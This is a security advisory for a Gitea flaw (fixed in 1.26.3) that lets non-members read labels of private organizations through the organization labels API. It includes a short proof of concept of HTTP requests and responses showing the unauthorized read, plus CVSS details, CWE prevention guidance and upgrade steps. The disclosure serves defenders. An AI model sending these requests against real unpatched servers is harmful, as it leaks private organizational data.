Skip to content

GHSA-v73x-hx65-6pf4 CVE-2026-25038 GO-2026-6076

Gitea: Unauthorized Access to Labels of Private Organizations

High Go
Severity
7.5 / 10
High · CVSS 3.1
Exploit chance (EPSS)
0.62%
Chance of exploitation in the next 30 days. Higher than 49.65% of scored vulnerabilities.
Known exploited
No
Not in CISA's catalog
Weakness
CWE-200 Exposure of Sensitive Information to an Unauthorized Actor
CWE-862 Missing Authorization
Fix
1.26.3
Upgrade code.gitea.io/gitea to this version or later

Description

Summary

Gitea 1.26.2 does not properly enforce organization visibility restrictions on organization label read endpoints.

A user without access to a private organization can retrieve labels belonging to that organization through the Organization Labels API. As a result, label metadata intended to be restricted to organization members may be disclosed.

The issue is limited to unauthorized read access. No unauthorized modification of labels was observed.

Details

The following endpoints are affected:

  • GET /api/v1/orgs/{org}/labels
  • GET /api/v1/orgs/{org}/labels/{id}

During testing, a private organization was created and a label was added to that organization.

Access to the organization itself was correctly restricted. A user without membership in the organization received a 404 Not Found response when requesting organization information.

However, the same user was still able to retrieve organization labels through the endpoints listed above.

For comparison, other organization-scoped endpoints such as:

  • GET /api/v1/orgs/{org}/teams
  • GET /api/v1/orgs/{org}/hooks
  • GET /api/v1/orgs/{org}/actions/secrets

correctly denied access to unauthorized users.

The label endpoints returned the full Label object, including fields such as:

  • id
  • name
  • description
  • color
  • url

Write operations were tested separately and remained protected by authorization checks.

PoC

Setup

Create a private organization:

POST /api/v1/orgs
Authorization: token <owner_token>

{
  "username": "target-org",
  "visibility": "private"
}

Create a label:

POST /api/v1/orgs/target-org/labels
Authorization: token <owner_token>

{
  "name": "internal-label",
  "color": "#aabbcc",
  "description": "private organization label"
}

Verify that the organization is not accessible to a non-member:

GET /api/v1/orgs/target-org
Authorization: token <non_member_token>

Response:

HTTP/1.1 404 Not Found

Retrieve all labels

Request:

GET /api/v1/orgs/target-org/labels
Authorization: token <non_member_token>

Observed response:

HTTP/1.1 200 OK

The response contains labels belonging to the private organization.

Retrieve a specific label

Request:

GET /api/v1/orgs/target-org/labels/1
Authorization: token <non_member_token>

Observed response:

HTTP/1.1 200 OK

The full Label object is returned.

Verify write protection

Request:

PATCH /api/v1/orgs/target-org/labels/1
Authorization: token <non_member_token>

Response:

HTTP/1.1 403 Forbidden

PoC Details

https://anonymous.4open.science/r/Gitea_PoC-EC93/2_poc_private_org_labels_leak

Impact

Users who are not authorized to access a private organization can obtain label metadata associated with that organization.

Depending on how labels are used, this may disclose internal organizational information contained in label names or descriptions.

The issue affects confidentiality only. No integrity or availability impact was observed.

Affected versions

Go

PackageVulnerableFixed in
code.gitea.io/gitea
< 1.26.3
1.26.3

How to fix

Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.

code.gitea.io/gitea Go → 1.26.3

go
go get code.gitea.io/gitea@v1.26.3 && go mod tidy

Severity breakdown

CVSS 3.1 7.5

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
None
Availability
None

Weakness

CWE-200: Exposure of Sensitive Information to an Unauthorized Actor

The product exposes sensitive information to an actor that is not explicitly authorized to have access to that information.

How to prevent it
  • Architecture and Design: Compartmentalize the system to have "safe" areas where trust boundaries can be unambiguously drawn. Do not allow sensitive data to go outside of the trust boundary and always be careful when interfacing with a compartment outside of the safe area. Ensure that appropriate compartmentalization is built into the system design, and the compartmentalization allows for and reinforces privilege separation functionality. Architects and designers should rely on the principle of least privilege to decide the appropriate time to use privileges and the time to drop privileges.

CWE-862: Missing Authorization

The product does not perform an authorization check when an actor attempts to access a resource or perform an action.

How to prevent it
  • Architecture and Design: Divide the product into anonymous, normal, privileged, and administrative areas. Reduce the attack surface by carefully mapping roles with data and functionality. Use role-based access control (RBAC) [REF-229] to enforce the roles at the appropriate boundaries. Note that this approach may not protect against horizontal authorization, i.e., it will not protect a user from attacking others with the same role.
  • Architecture and Design: Ensure that access control checks are performed related to the business logic. These checks may be different than the access control checks that are applied to more generic resources such as files, connections, processes, memory, and database records. For example, a database may restrict access for medical records to a specific database user, but each record might only be intended to be accessible to the patient and the patient's doctor [REF-7].
  • Architecture and Design: Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid. For example, consider using authorization frameworks such as the JAAS Authorization Framework [REF-233] and the OWASP ESAPI Access Control feature [REF-45].
  • Architecture and Design: For web applications, make sure that the access control mechanism is enforced correctly at the server side on every page. Users should not be able to access any unauthorized functionality or information by simply requesting direct access to that page. One way to do this is to ensure that all pages containing sensitive information are not cached, and that all such pages restrict access to requests that are accompanied by an active and authenticated session token associated with a user who has the required permissions to access that page.
  • System Configuration, Installation: Use the access control capabilities of your operating system and server environment and define your access control lists accordingly. Use a "default deny" policy when defining these ACLs.

References

Timeline

  1. Published
  2. Last updated by the source
  3. Latest EPSS score
AdvisorySeverityWhy it's related
GHSA-rcr6-4jqh-j84m
Gitea: Remote Code Execution via diffpatch Git Hook Installation
Critical Known exploited Also affects code.gitea.io/gitea
GHSA-fq2p-5p22-8g6j
Gitea: Public-Only Personal access tokens scope bypass in Organization and Permission Endpoints
Medium Also affects code.gitea.io/gitea
GHSA-2wm4-vwp6-v7xc
Gitea: SSRF via Migration Asset Downloads Bypasses hostmatcher — Reads Internal Files and Cloud Metadata
High Also affects code.gitea.io/gitea
GHSA-3r5c-2xxx-h872
Gitea: Webhook Authorization Header Returned in Plaintext via API
Low Also affects code.gitea.io/gitea
GHSA-frpw-3h2q-4jj6
Gitea: Cross-Repo Information Disclosure via Org-Level Actions Run/Job APIs
Medium Also affects code.gitea.io/gitea
GHSA-q423-49rw-g9mh
Gitea: GHSA-8fwc-qjw5-rvgp ClearRepoWatches fix not applied to API EditRepo path — sister code path retains stale watches on public->private
Medium Also affects code.gitea.io/gitea
GHSA-2fcr-jfvc-vgg2
Gitea: Two SSRF findings
High Also affects code.gitea.io/gitea
GHSA-fw57-jgch-pgf3
Gitea: ParseAcceptLanguage quadratic-time DoS via Locale middleware on unauthenticated requests
High Also affects code.gitea.io/gitea
Is this in your code?

MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.

Check your repos with MergeHarbor